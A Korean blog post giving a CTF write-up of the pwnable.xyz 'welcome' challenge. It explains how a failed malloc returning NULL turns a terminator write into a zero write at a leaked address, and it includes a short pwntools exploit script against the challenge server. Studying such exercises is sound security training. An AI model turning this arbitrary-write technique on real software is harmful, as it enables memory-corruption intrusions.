상세 컨텐츠

본문 제목

[pwnable.xyz] welcome

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 4. 20:09

본문

728x90
반응형

1. IDA

 

 

v3NULL이면 flag를 출력한다.

v3 주소를 실행 시 leak해주므로, 이것을 이용해서 어떻게 문제를 해결할지 생각해보자.

 

v5[size - 1] = 0

 

 

이것이 처음에는 단순히 문자열 끝에 NULL을 넣는 것이라고 생각했다.

하지만 이것과 v3 시작주소를 이용해서 v3를 0 값으로 만들 수 있다.

 

v5 = (char*)malloc(size);

 

malloc은 메모리 할당에 실패하면 NULL을 리턴한다.

따라서 size의 최대 크기보다 오버해서 read 함수로 size 크기를 받을 경우, 메모리 할당에 실패해서 v5에는 0이 리턴될 것이다.

 

따라서 v5가 0이 되고 나면,

0[size-1] = 0 이 되고, 결국 size - 1 위치에 0이 들어가게 된다.

size를 (v3의 시작주소 + 1)로 주면, size - 1은 v3의 시작주소가 되고, v3의 시작주소에 0이 덮어진다.

 

 

3. exploit code + exploit

 

#!/usr/bin/python                                                                      
from pwn import *

p = remote("svc.pwnable.xyz", 30000)

p.recvuntil("Leak: ")
v3 = int(p.recvuntil("\n"), 16)

length = v3 + 1

p.sendlineafter("Length of your message: ", str(length))
p.sendlineafter("Enter your message: ", "AAAA")

p.interactive()

 

 

# exploit

 

 

 

 

 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Grownup  (0) 2019.09.27
[pwnable.xyz] note  (0) 2019.09.27
[pwnable.xyz] misalignment  (0) 2019.09.17
[pwnable.xyz] add  (0) 2019.09.05
[pwnable.xyz] sub  (0) 2019.09.05

관련글 더보기